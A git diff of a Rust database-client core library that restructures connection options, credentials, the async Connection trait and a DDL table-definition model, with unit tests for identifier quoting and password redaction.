TimeOfDay, + /// MySQL TIME, which runs from -838:59:59 to 838:59:59. + Duration, +} + +/// How a timestamp column relates to a time zone. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum TemporalZone { + Naive, + Offset, + /// ClickHouse `DateTime('Europe/Paris')`: wall-clock time in a zone + /// the column names, with no offset in the value. + Named(String), +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum NetworkFamily { + Inet, + Cidr, + MacAddr, + MacAddr8, + Ipv4, + Ipv6, +} diff --git a/linux/crates/core/src/column/mod.rs b/linux/crates/core/src/column/mod.rs index e667a584b3..682da48187 100644 --- a/linux/crates/core/src/column/mod.rs +++ b/linux/crates/core/src/column/mod.rs @@ -1,17 +1,23 @@ +mod catalog_type; mod classify; mod column_info; mod column_type; mod default; +mod integer_kind; mod kind; +mod kind_parts; mod read_form; mod result_column; mod sql_type_expr; +pub use catalog_type::CatalogType; pub use classify::{classify_type_name, has_dynamic_storage}; pub use column_info::ColumnInfo; -pub use column_type::{CatalogType, ColumnType}; +pub use column_type::ColumnType; pub use default::ColumnDefault; -pub use kind::{ColumnKind, FloatKind, IntegerKind, TextKind}; +pub use integer_kind::{IntegerKind, IntegerWidth}; +pub use kind::ColumnKind; +pub use kind_parts::{BoolStorage, FloatWidth, NetworkFamily, TemporalZone, TextLength, TimeRange}; pub use read_form::ReadForm; pub use result_column::ResultColumn; pub use sql_type_expr::{SqlExpression, SqlTypeExpr}; diff --git a/linux/crates/core/src/connect_environment.rs b/linux/crates/core/src/connect_environment.rs new file mode 100644 index 0000000000..736c68ca56 --- /dev/null +++ b/linux/crates/core/src/connect_environment.rs @@ -0,0 +1,21 @@ +/// The name the app gives itself to a server, which shows up in the +/// server's own session lists (`pg_stat_activity`, `sys.dm_exec_sessions`) +/// so an administrator can tell which sessions are ours. +pub const APPLICATION_NAME: &str = "TablePro"; + +/// What a driver needs to know about the app itself, rather than about +/// the connection. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ConnectEnvironment { + /// The app's version, reported next to `APPLICATION_NAME` where the + /// protocol has room for one. + pub client_version: String, +} + +impl ConnectEnvironment { + pub fn new(client_version: impl Into) -> Self { + Self { + client_version: client_version.into(), + } + } +} diff --git a/linux/crates/core/src/connect_options.rs b/linux/crates/core/src/connect_options.rs new file mode 100644 index 0000000000..40d1a1b055 --- /dev/null +++ b/linux/crates/core/src/connect_options.rs @@ -0,0 +1,17 @@ +use crate::connect_environment::ConnectEnvironment; +use crate::connect_target::ConnectTarget; +use crate::liveness_policy::LivenessPolicy; +use crate::workspace_settings::WorkspaceSettings; + +/// Everything a driver needs to open a connection. +/// +/// There is no default: a connection opened with a made-up host, an +/// empty password or a missing timeout is a bug that should not +/// compile. +#[derive(Debug, Clone)] +pub struct ConnectOptions { + pub target: ConnectTarget, + pub workspace_settings: WorkspaceSettings, + pub liveness: LivenessPolicy, + pub environment: ConnectEnvironment, +} diff --git a/linux/crates/core/src/connect_target.rs b/linux/crates/core/src/connect_target.rs new file mode 100644 index 0000000000..7a2515bd90 --- /dev/null +++ b/linux/crates/core/src/connect_target.rs @@ -0,0 +1,9 @@ +use crate::file_endpoint::FileEndpoint; +use crate::network_target::NetworkTarget; + +/// Where a connection goes. +#[derive(Debug, Clone)] +pub enum ConnectTarget { + Network(NetworkTarget), + File(FileEndpoint), +} diff --git a/linux/crates/core/src/connection.rs b/linux/crates/core/src/connection.rs index 380dc4ffc3..84bf600e66 100644 --- a/linux/crates/core/src/connection.rs +++ b/linux/crates/core/src/connection.rs @@ -1,141 +1,125 @@ +use std::sync::Arc; + use async_trait::async_trait; -use secrecy::SecretString; -use serde::{Deserialize, Serialize}; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; +use crate::call_options::CallOptions; use crate::column::ColumnInfo; +use crate::commit::{CommitResolution, CommitToken}; +use crate::ddl::TableDefinition; +use crate::dialect::SqlDialect; +use crate::editor_session::{EditorSession, EditorSessionOptions}; use crate::error::DriverError; -use crate::query::{ExecResult, ForeignKeyInfo, IndexInfo, TableInfo}; +use crate::foreign_key_info::ForeignKeyInfo; +use crate::link_watch::LinkState; +use crate::meta::{IndexInfo, ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate, TableRef}; use crate::query_result::QueryResult; -use crate::value::Value; - -/// How a driver authenticates to the database. Most drivers only -/// support [`AuthMode::Password`]; the SQL Server driver also supports -/// [`AuthMode::Kerberos`] (Windows integrated auth) using the current -/// user's Kerberos ticket cache obtained via `kinit`. -#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)] -#[serde(rename_all = "snake_case")] -pub enum AuthMode { - #[default] - Password, - /// Windows integrated authentication over Kerberos (GSSAPI), using - /// the ambient ticket cache. `username`/`password` are ignored. - Kerberos, -} +use crate::read_statement::ReadStatement; +use crate::result_sink::ResultSink; +use crate::row_limit::RowLimit; +use crate::server_info::ServerInfo; +use crate::statement::Statement; +use crate::stream_summary::StreamSummary; +use crate::write_batch::WriteBatch; +use crate::write_report::WriteReport; -#[derive(Debug, Clone)] -pub struct ConnectOptions { - pub host: String, - pub port: u16, - pub database: String, - pub username: String, - pub password: SecretString, - pub use_tls: bool, - pub auth_mode: AuthMode, - /// Set only when `host`/`port` were replaced by a tunnel's local - /// forward. `None` means the socket already points at the service. - pub service_endpoint: Option<(String, u16)>, -} +/// A workspace's link to one server: the pool behind the sidebar, the +/// grid and every save. +/// +/// Each call runs on a task the connection owns, not on the caller's +/// future, so dropping the caller cancels the call instead of leaving +/// the server working for nobody (`OwnedCalls`). A call returns within +/// its deadline plus the liveness policy's cancel grace. +#[async_trait] +pub trait Connection: Send + Sync { + fn server_info(&self) -> &ServerInfo; -impl ConnectOptions { - /// Host and port the service answers to, which is `host`/`port` - /// unless a tunnel replaced them. - pub fn service_address(&self) -> (&str, u16) { - self.service_endpoint - .as_ref() - .map_or((self.host.as_str(), self.port), |(host, port)| (host.as_str(), *port)) - } -} + /// Built from the server version at connect, so generated SQL + /// matches what this server accepts. + fn dialect(&self) -> Arc; -impl Default for ConnectOptions { - fn default() -> Self { - Self { - host: "localhost".to_string(), - port: 0, - database: String::new(), - username: String::new(), - password: SecretString::new(String::new().into()), - use_tls: false, - auth_mode: AuthMode::Password, - service_endpoint: None, - } - } -} + fn read_only(&self) -> bool; -#[async_trait] -pub trait Connection: Send + Sync { - async fn list_tables(&self) -> Result, DriverError>; - async fn fetch_columns(&self, schema: Option<&str>, table: &str) -> Result, DriverError>; - async fn fetch_rows( + fn link_state(&self) -> LinkState; + + /// Resolves once the link is lost, for a monitor that waits on it + /// without holding the connection busy. + fn lost(&self) -> WaitForCancellationFutureOwned; + + /// Whether the server answers. Never waits for a pool slot: a busy + /// pool is not a dead server, so with every slot taken the probe + /// opens a connection of its own. + async fn probe(&self, options: CallOptions) -> Result<(), DriverError>; + + async fn list_schemas(&self, options: CallOptions) -> Result, DriverError>; + + async fn list_objects(&self, scope: &ObjectScope, options: CallOptions) -> Result, DriverError>; + + async fn fetch_columns(&self, table: &TableRef, options: CallOptions) -> Result, DriverError>; + + async fn fetch_indexes(&self, table: &TableRef, options: CallOptions) -> Result, DriverError>; + + async fn fetch_foreign_keys( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result, DriverError>; + + /// The table as structure changes plan against it, read in one call + /// so its columns, keys and dependents come from the same moment. + async fn fetch_table_definition( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result; + + async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result; + + async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result; + + /// Run a generated read and keep at most `limit` rows, marking the + /// result truncated when there were more. + async fn query_bound( &self, - schema: Option<&str>, - table: &str, - offset: u64, - limit: u64, + statement: &Statement, + limit: RowLimit, + options: CallOptions, ) -> Result; - async fn query(&self, sql: &str) -> Result; - /// Parameterised SELECT. Bound `Value`s are passed through to the - /// driver's prepare/bind path (sqlx::query::bind for the built-in - /// drivers). Default impl delegates to `query` when params is - /// empty, so legacy callers compile unchanged; drivers that - /// support real parameter binding override. - async fn query_params(&self, sql: &str, params: &[Value]) -> Result { - if params.is_empty() { - self.query(sql).await - } else { - Err(DriverError::Unsupported { - feature: "parameterised queries", - }) - } - } - async fn execute(&self, sql: &str) -> Result; - async fn execute_params(&self, sql: &str, params: &[Value]) -> Result; - /// Run a sequence of parameterised statements inside a single - /// database transaction. Rolls back automatically if any - /// statement errors; returns `DriverError::Transaction` with the - /// failing statement's index. Returns one `rows_affected` value - /// per successful statement, in order. Used by the inline-edit - /// changeset Save flow so all pending row inserts / updates / - /// deletes commit atomically. - async fn execute_in_transaction(&self, statements: &[(String, Vec)]) -> Result, DriverError>; - /// Indexes defined on `table`. Implementations may include the - /// implicit primary-key index with `primary = true` so the UI can - /// render it as read-only. Default returns empty so existing - /// drivers compile before they're filled in. - async fn fetch_indexes(&self, _schema: Option<&str>, _table: &str) -> Result, DriverError> { - Ok(Vec::new()) - } - /// Foreign-key constraints declared on `table`. Default returns - /// empty for the same reason as `fetch_indexes`. - async fn fetch_foreign_keys( + + async fn count_rows(&self, statement: &Statement, options: CallOptions) -> Result; + + /// Stream every row of a read into `sink`, with no row limit. + /// + /// It runs on a connection of its own, never a pool slot, because an + /// export can take minutes. The read is held read-only by the engine + /// for its whole length, so user SQL that tries to write fails with + /// a `ReadOnly` error. Each result set arrives as `ResultSetStarted`, + /// then `Rows`, then `ResultSetFinished`, and each event is accepted + /// before the next rows are read. + async fn stream_read( &self, - _schema: Option<&str>, - _table: &str, - ) -> Result, DriverError> { - Ok(Vec::new()) - } - async fn ping(&self) -> Result<(), DriverError>; - async fn close(self: Box) -> Result<(), DriverError>; -} + read: &ReadStatement, + sink: Box, + options: CallOptions, + ) -> Result; + + /// Apply a save. On an engine that cannot suspend foreign keys, a + /// batch that asks for it fails before anything is sent. + async fn write_batch(&self, batch: &WriteBatch, options: CallOptions) -> Result; + + /// Ask the server what became of a write whose commit was sent and + /// never answered. + async fn resolve_commit(&self, token: &CommitToken, options: CallOptions) -> Result; + + /// Open an editor tab's own connection. It outlives this one: the + /// tab owns it, and closing the workspace does not close it. + async fn open_editor_session( + &self, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError>; -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn service_address_prefers_the_tunnelled_service_over_the_socket() { - let direct = ConnectOptions { - host: "sql.corp.example".into(), - port: 1433, - ..Default::default() - }; - assert_eq!(direct.service_address(), ("sql.corp.example", 1433)); - - let tunnelled = ConnectOptions { - host: "127.0.0.1".into(), - port: 54321, - service_endpoint: Some(("sql.corp.example".into(), 1433)), - ..Default::default() - }; - assert_eq!(tunnelled.service_address(), ("sql.corp.example", 1433)); - } + /// Stop every call and release the pool. Safe to call more than + /// once, and it never closes an editor session. + async fn close(&self) -> Result<(), DriverError>; } diff --git a/linux/crates/core/src/credentials/connect_credentials.rs b/linux/crates/core/src/credentials/connect_credentials.rs new file mode 100644 index 0000000000..0dace13b3a --- /dev/null +++ b/linux/crates/core/src/credentials/connect_credentials.rs @@ -0,0 +1,55 @@ +use secrecy::SecretString; + +use crate::auth_mode::AuthMode; + +/// What a network connection logs in with. +/// +/// The password is a `SecretString`, so a `Debug` print of a connect +/// request never shows it. +#[derive(Debug, Clone)] +pub enum Credentials { + Password { + username: String, + password: SecretString, + }, + /// The operating system's own login, so nothing is sent from here. + Integrated, +} + +impl Credentials { + pub fn mode(&self) -> AuthMode { + match self { + Self::Password { .. } => AuthMode::Password, + Self::Integrated => AuthMode::Kerberos, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn integrated_credentials_log_in_with_kerberos() { + let password = Credentials::Password { + username: "deploy".to_owned(), + password: SecretString::from("hunter2"), + }; + + assert_eq!(password.mode(), AuthMode::Password); + assert_eq!(Credentials::Integrated.mode(), AuthMode::Kerberos); + } + + #[test] + fn a_debug_print_never_shows_the_password() { + let credentials = Credentials::Password { + username: "deploy".to_owned(), + password: SecretString::from("hunter2"), + }; + + let printed = format!("{credentials:?}"); + + assert!(printed.contains("deploy")); + assert!(!printed.contains("hunter2"), "the password leaked: {printed}"); + } +} diff --git a/linux/crates/core/src/credentials/mod.rs b/linux/crates/core/src/credentials/mod.rs index 3f7c97d952..502f42a462 100644 --- a/linux/crates/core/src/credentials/mod.rs +++ b/linux/crates/core/src/credentials/mod.rs @@ -1,3 +1,4 @@ +mod connect_credentials; mod credential_interaction; mod credential_prompt; mod credential_prompter; @@ -11,6 +12,7 @@ mod secret_lookup; mod secret_save; mod secret_vault; +pub use connect_credentials::Credentials; pub use credential_interaction::CredentialInteraction; pub use credential_prompt::CredentialPrompt; pub use credential_prompter::CredentialPrompter; diff --git a/linux/crates/core/src/ddl/collation_name.rs b/linux/crates/core/src/ddl/collation_name.rs new file mode 100644 index 0000000000..aafeb81bd9 --- /dev/null +++ b/linux/crates/core/src/ddl/collation_name.rs @@ -0,0 +1,19 @@ +/// A collation as the catalogue names it. +/// +/// PostgreSQL collations are schema objects, so `"de_DE"` in one schema +/// is not the one in `pg_catalog`. Engines whose collations are global +/// leave `schema` as `None`. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct CollationName { + pub schema: Option, + pub name: String, +} + +impl CollationName { + pub fn new(schema: Option, name: impl Into) -> Self { + Self { + schema, + name: name.into(), + } + } +} diff --git a/linux/crates/core/src/ddl/column_attributes.rs b/linux/crates/core/src/ddl/column_attributes.rs new file mode 100644 index 0000000000..19575603fa --- /dev/null +++ b/linux/crates/core/src/ddl/column_attributes.rs @@ -0,0 +1,33 @@ +use super::{CollationName, ColumnKeyRoles, ColumnVisibility, GeneratedColumn, IdentityStyle, UnmodeledAttribute}; +use crate::column::SqlExpression; + +/// What a column definition says beyond its name, type, nullability and +/// default. +/// +/// MySQL and SQL Server redefine a column as a whole, so anything left +/// out of the new definition is lost. Each attribute here is one a +/// redefinition has to restate to keep the column as it was. +/// +/// The comment is not here: `ColumnInfo` carries it, because browse and +/// the structure tab read it from `fetch_columns` too. +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub struct ColumnAttributes { + /// Set only when it differs from the type's or table's default, so a + /// restated definition does not pin a collation nobody chose. + pub collation: Option, + pub character_set: Option, + /// MySQL `ON UPDATE`, which sets the column on every row update. + pub on_update: Option, + pub generated: Option, + pub visibility: ColumnVisibility, + /// MySQL `SRID` on a spatial column. + pub spatial_reference: Option, + /// SQL Server `SPARSE`. + pub sparse: bool, + pub identity: IdentityStyle, + /// The SQL Server constraint that holds the default. A type change + /// has to drop it by name first and add it back afterwards. + pub default_constraint_name: Option, + pub key_roles: ColumnKeyRoles, + pub unmodeled: Vec, +} diff --git a/linux/crates/core/src/ddl/column_definition.rs b/linux/crates/core/src/ddl/column_definition.rs new file mode 100644 index 0000000000..9332357cc8 --- /dev/null +++ b/linux/crates/core/src/ddl/column_definition.rs @@ -0,0 +1,19 @@ +use super::ColumnAttributes; +use crate::column::ColumnInfo; + +/// A column as its table's DDL defines it. +#[derive(Debug, Clone, PartialEq)] +pub struct ColumnDefinition { + pub info: ColumnInfo, + pub attributes: ColumnAttributes, +} + +impl ColumnDefinition { + pub fn new(info: ColumnInfo, attributes: ColumnAttributes) -> Self { + Self { info, attributes } + } + + pub fn name(&self) -> &str { + &self.info.name + } +} diff --git a/linux/crates/core/src/ddl/column_key_roles.rs b/linux/crates/core/src/ddl/column_key_roles.rs new file mode 100644 index 0000000000..6257e5a34b --- /dev/null +++ b/linux/crates/core/src/ddl/column_key_roles.rs @@ -0,0 +1,10 @@ +/// The ClickHouse table keys a column is part of. +/// +/// A column in the sorting or partition key cannot be renamed, retyped +/// or dropped without rebuilding the table, so the structure tab has to +/// know before it offers any of that. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)] +pub struct ColumnKeyRoles { + pub sorting_key: bool, + pub partition_key: bool, +} diff --git a/linux/crates/core/src/ddl/column_visibility.rs b/linux/crates/core/src/ddl/column_visibility.rs new file mode 100644 index 0000000000..a48c281d90 --- /dev/null +++ b/linux/crates/core/src/ddl/column_visibility.rs @@ -0,0 +1,11 @@ +/// Whether `SELECT *` includes the column. +/// +/// MySQL and MariaDB can hide a column from `*`. A redefinition that +/// does not restate `INVISIBLE` makes it visible again, which changes +/// every `SELECT *` and `INSERT` without a column list. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)] +pub enum ColumnVisibility { + #[default] + Visible, + Invisible, +} diff --git a/linux/crates/core/src/ddl/ddl_capabilities.rs b/linux/crates/core/src/ddl/ddl_capabilities.rs new file mode 100644 index 0000000000..7b37f45839 --- /dev/null +++ b/linux/crates/core/src/ddl/ddl_capabilities.rs @@ -0,0 +1,25 @@ +/// Which structure changes an engine can make, so the structure tab +/// offers only those instead of failing at Save. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub struct DdlCapabilities { + pub create_table: bool, + pub rename_table: bool, + pub add_column: bool, + pub drop_column: bool, + pub rename_column: bool, + pub alter_column_type: bool, + pub alter_column_nullability: bool, + /// Whether nullability can be switched in place. ClickHouse can + /// only do it by rewriting the column's type as Nullable. + pub nullability_switch: bool, + pub alter_column_default: bool, + pub alter_primary_key: bool, + pub alter_auto_increment: bool, + pub create_index: bool, + pub drop_index: bool, + pub expression_index_keys: bool, + pub partial_indexes: bool, + pub add_foreign_key: bool, + pub drop_foreign_key: bool, + pub drop_table_cascade: bool, +} diff --git a/linux/crates/core/src/ddl/ddl_dialect.rs b/linux/crates/core/src/ddl/ddl_dialect.rs new file mode 100644 index 0000000000..06adf9aea4 --- /dev/null +++ b/linux/crates/core/src/ddl/ddl_dialect.rs @@ -0,0 +1,111 @@ +use super::{ColumnDefinition, DdlCapabilities}; +use crate::dialect::SqlDialect; +use crate::meta::TableRef; + +/// How one engine spells structure changes. +/// +/// Reached through `SqlDialect::ddl`, which is `None` for an engine +/// whose structure the app does not edit. The planning methods land +/// with the per-engine DDL plans; the capabilities are here first so +/// the UI can gate on them through the same accessor. +/// +/// The statement methods take the `SqlDialect` this came from, which +/// quotes the names. Their bodies are the standard spelling, and an +/// engine overrides one only where its grammar differs. +pub trait DdlDialect: Send + Sync + std::fmt::Debug { + fn capabilities(&self) -> &DdlCapabilities; + + fn rename_table(&self, dialect: &dyn SqlDialect, table: &TableRef, new_name: &str) -> String { + format!( + "ALTER TABLE {} RENAME TO {}", + dialect.qualify(table), + dialect.quote_identifier(new_name) + ) + } + + fn rename_column(&self, dialect: &dyn SqlDialect, table: &TableRef, column: &str, new_name: &str) -> String { + format!( + "ALTER TABLE {} RENAME COLUMN {} TO {}", + dialect.qualify(table), + dialect.quote_identifier(column), + dialect.quote_identifier(new_name) + ) + } + + /// The statement that removes a column's default, or `None` where + /// there is nothing to remove. The standard spelling needs only the + /// column's name; an engine that keeps the default as a named object + /// finds that name in the catalogue's definition. + /// + /// `column` is the name the column has when the statement runs, + /// which a rename earlier in the same change makes differ from the + /// catalogue's. + fn drop_column_default( + &self, + dialect: &dyn SqlDialect, + table: &TableRef, + column: &str, + _original: &ColumnDefinition, + ) -> Option { + Some(format!( + "ALTER TABLE {} ALTER COLUMN {} DROP DEFAULT", + dialect.qualify(table), + dialect.quote_identifier(column) + )) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::column::{ColumnDefault, ColumnInfo, ColumnKind, ColumnType, ReadForm, TextLength}; + use crate::ddl::ColumnAttributes; + use crate::dialect::TestDialect; + + fn column(name: &str) -> ColumnDefinition { + ColumnDefinition::new( + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType { + name: "text".to_owned(), + kind: ColumnKind::Text { + length: TextLength::Unbounded, + }, + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + }, + ColumnAttributes::default(), + ) + } + + #[test] + fn the_standard_spelling_quotes_through_the_dialect() { + let dialect = TestDialect::exact(); + let Some(ddl) = dialect.ddl() else { + panic!("the test dialect has no DDL"); + }; + let table = TableRef::new(Some("app".to_owned()), "or\"ders"); + + assert_eq!( + ddl.rename_table(&dialect, &table, "new"), + "ALTER TABLE \"app\".\"or\"\"ders\" RENAME TO \"new\"" + ); + assert_eq!( + ddl.rename_column(&dialect, &table, "a", "b\"c"), + "ALTER TABLE \"app\".\"or\"\"ders\" RENAME COLUMN \"a\" TO \"b\"\"c\"" + ); + assert_eq!( + ddl.drop_column_default(&dialect, &table, "renamed", &column("original")), + Some("ALTER TABLE \"app\".\"or\"\"ders\" ALTER COLUMN \"renamed\" DROP DEFAULT".to_owned()), + "the drop names the column as it is now" + ); + } +} diff --git a/linux/crates/core/src/ddl/generated_column.rs b/linux/crates/core/src/ddl/generated_column.rs new file mode 100644 index 0000000000..df609797d2 --- /dev/null +++ b/linux/crates/core/src/ddl/generated_column.rs @@ -0,0 +1,19 @@ +use crate::column::SqlExpression; + +/// Whether a generated column's value is kept on disk. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum GeneratedStorage { + Virtual, + /// Computed on write and stored. MariaDB's `PERSISTENT` is this. + Stored, +} + +/// A column the server computes from an expression. +/// +/// The expression is kept because a redefinition that drops it turns +/// the column into a plain one and loses every computed value. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct GeneratedColumn { + pub expression: SqlExpression, + pub storage: GeneratedStorage, +} diff --git a/linux/crates/core/src/ddl/identity_style.rs b/linux/crates/core/src/ddl/identity_style.rs new file mode 100644 index 0000000000..9407cc1a6d --- /dev/null +++ b/linux/crates/core/src/ddl/identity_style.rs @@ -0,0 +1,24 @@ +/// How the server fills a column with the next number. +/// +/// The styles are kept apart because each is restated with different +/// DDL, and a redefinition that restates the wrong one either fails or +/// silently stops the numbering. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)] +pub enum IdentityStyle { + #[default] + None, + /// `GENERATED ALWAYS AS IDENTITY`: an explicit value is refused. + GeneratedAlways, + /// `GENERATED BY DEFAULT AS IDENTITY`: an explicit value wins. + GeneratedByDefault, + /// A default of `nextval(...)` on an owned sequence, which is what + /// PostgreSQL's `serial` types expand to. + SequenceDefault, + /// MySQL and MariaDB `AUTO_INCREMENT`. + AutoIncrementKeyword, + /// SQLite `INTEGER PRIMARY KEY`, which names the rowid rather than + /// adding a column. + SqliteRowidAlias, + /// SQL Server `IDENTITY(seed, increment)`. + MssqlIdentity, +} diff --git a/linux/crates/core/src/ddl/inbound_foreign_key.rs b/linux/crates/core/src/ddl/inbound_foreign_key.rs new file mode 100644 index 0000000000..52c1851516 --- /dev/null +++ b/linux/crates/core/src/ddl/inbound_foreign_key.rs @@ -0,0 +1,16 @@ +use crate::meta::TableRef; + +/// A foreign key on another table that points at this one. +/// +/// A rename, a retype or a drop of a referenced column breaks these, so +/// the structure tab lists them before it lets the change through. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct InboundForeignKey { + pub name: String, + /// The referencing table. + pub table: TableRef, + /// The referencing columns, in key order. + pub columns: Vec, + /// The columns of this table they point at, in the same order. + pub referenced_columns: Vec, +} diff --git a/linux/crates/core/src/ddl/mod.rs b/linux/crates/core/src/ddl/mod.rs index 56923303ee..eb750664c3 100644 --- a/linux/crates/core/src/ddl/mod.rs +++ b/linux/crates/core/src/ddl/mod.rs @@ -1,3 +1,35 @@ +//! The model of a table that structure changes are planned against. + +mod collation_name; +mod column_attributes; +mod column_definition; +mod column_key_roles; +mod column_visibility; +mod ddl_capabilities; +mod ddl_dialect; +mod generated_column; +mod identity_style; +mod inbound_foreign_key; +mod primary_key_constraint; mod referential_action; +mod schema_object_source; +mod table_definition; +mod table_source; +mod unmodeled_attribute; +pub use collation_name::CollationName; +pub use column_attributes::ColumnAttributes; +pub use column_definition::ColumnDefinition; +pub use column_key_roles::ColumnKeyRoles; +pub use column_visibility::ColumnVisibility; +pub use ddl_capabilities::DdlCapabilities; +pub use ddl_dialect::DdlDialect; +pub use generated_column::{GeneratedColumn, GeneratedStorage}; +pub use identity_style::IdentityStyle; +pub use inbound_foreign_key::InboundForeignKey; +pub use primary_key_constraint::PrimaryKeyConstraint; pub use referential_action::ReferentialAction; +pub use schema_object_source::{SchemaObjectKind, SchemaObjectSource}; +pub use table_definition::TableDefinition; +pub use table_source::TableSource; +pub use unmodeled_attribute::UnmodeledAttribute; diff --git a/linux/crates/core/src/ddl/primary_key_constraint.rs b/linux/crates/core/src/ddl/primary_key_constraint.rs new file mode 100644 index 0000000000..242a5964fb --- /dev/null +++ b/linux/crates/core/src/ddl/primary_key_constraint.rs @@ -0,0 +1,9 @@ +/// A table's primary key as a constraint, with its name. +/// +/// The name matters for DDL that drops or restates the key. It is +/// `None` on engines that do not name it, such as SQLite. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct PrimaryKeyConstraint { + pub name: Option, + pub columns: Vec, +} diff --git a/linux/crates/core/src/ddl/schema_object_source.rs b/linux/crates/core/src/ddl/schema_object_source.rs new file mode 100644 index 0000000000..bb4b9d2338 --- /dev/null +++ b/linux/crates/core/src/ddl/schema_object_source.rs @@ -0,0 +1,22 @@ +/// What kind of object a dependent is. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum SchemaObjectKind { + Index, + Trigger, + View, +} + +/// An object that has to be recreated when its table is rebuilt. +/// +/// SQLite rebuilds a table to change it, and dropping the old table +/// drops its indexes and triggers with it, so the rebuild replays each +/// one from the SQL the schema stored. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct SchemaObjectSource { + pub kind: SchemaObjectKind, + pub name: String, + /// The table the object belongs to, which for a view or a trigger on + /// another table is not the one being rebuilt. + pub table: String, + pub sql: String, +} diff --git a/linux/crates/core/src/ddl/table_definition.rs b/linux/crates/core/src/ddl/table_definition.rs new file mode 100644 index 0000000000..06d6b6a036 --- /dev/null +++ b/linux/crates/core/src/ddl/table_definition.rs @@ -0,0 +1,88 @@ +use super::{ColumnDefinition, InboundForeignKey, PrimaryKeyConstraint, TableSource}; +use crate::foreign_key_info::ForeignKeyInfo; +use crate::meta::{IndexInfo, TableRef}; + +/// Everything a structure change needs to know about a table, read in +/// one call. +/// +/// The structure tab plans DDL against this rather than against the +/// separate column, index and key lists, because a plan that restates +/// a column, rebuilds a table or renames a key needs all of them from +/// the same moment. +#[derive(Debug, Clone, PartialEq)] +pub struct TableDefinition { + pub table: TableRef, + pub columns: Vec, + pub primary_key: Option, + pub indexes: Vec, + pub foreign_keys: Vec, + pub inbound_foreign_keys: Vec, + /// `None` where the engine cannot produce its own DDL for the table. + pub source: Option, +} + +impl TableDefinition { + pub fn column(&self, name: &str) -> Option<&ColumnDefinition> { + self.columns.iter().find(|column| column.name() == name) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::column::{CatalogType, ColumnDefault, ColumnInfo, ColumnKind, ColumnType, ReadForm, SqlTypeExpr}; + use crate::ddl::{ColumnAttributes, IdentityStyle}; + + fn column(name: &str) -> ColumnDefinition { + ColumnDefinition::new( + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType { + name: "text".to_owned(), + kind: ColumnKind::Text { + length: crate::column::TextLength::Unbounded, + }, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text("text"), + cast_target: SqlTypeExpr::from_catalog_text("text"), + }), + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + }, + ColumnAttributes::default(), + ) + } + + #[test] + fn a_column_is_found_by_its_exact_name() { + let definition = TableDefinition { + table: TableRef::unqualified("users"), + columns: vec![column("email"), column("Email")], + primary_key: None, + indexes: Vec::new(), + foreign_keys: Vec::new(), + inbound_foreign_keys: Vec::new(), + source: None, + }; + + assert_eq!(definition.column("Email").map(ColumnDefinition::name), Some("Email")); + assert!(definition.column("missing").is_none()); + } + + #[test] + fn default_attributes_describe_a_plain_column() { + let attributes = ColumnAttributes::default(); + + assert_eq!(attributes.identity, IdentityStyle::None); + assert!(attributes.generated.is_none()); + assert!(attributes.unmodeled.is_empty()); + assert!(!attributes.key_roles.sorting_key && !attributes.key_roles.partition_key); + } +} diff --git a/linux/crates/core/src/ddl/table_source.rs b/linux/crates/core/src/ddl/table_source.rs new file mode 100644 index 0000000000..d1c1c35709 --- /dev/null +++ b/linux/crates/core/src/ddl/table_source.rs @@ -0,0 +1,10 @@ +use super::SchemaObjectSource; + +/// A table as the server would recreate it. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct TableSource { + pub create_statement: String, + /// Indexes, triggers and views a rebuild has to replay, in the order + /// the schema created them. + pub dependents: Vec, +} diff --git a/linux/crates/core/src/ddl/unmodeled_attribute.rs b/linux/crates/core/src/ddl/unmodeled_attribute.rs new file mode 100644 index 0000000000..f66fab7b62 --- /dev/null +++ b/linux/crates/core/src/ddl/unmodeled_attribute.rs @@ -0,0 +1,15 @@ +/// A column attribute the catalogue reported and this build does not +/// model, such as MariaDB `WITHOUT SYSTEM VERSIONING`. +/// +/// It is kept by name so a redefinition can refuse rather than drop it: +/// restating the column without it would remove it. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct UnmodeledAttribute { + pub name: String, +} + +impl UnmodeledAttribute { + pub fn new(name: impl Into) -> Self { + Self { name: name.into() } + } +} diff --git a/linux/crates/core/src/dialect/bind_error.rs b/linux/crates/core/src/dialect/bind_error.rs index 5f7547fc16..46b324affc 100644 --- a/linux/crates/core/src/dialect/bind_error.rs +++ b/linux/crates/core/src/dialect/bind_error.rs @@ -1,7 +1,5 @@ use thiserror::Error; -use crate::column::SqlTypeExpr; - 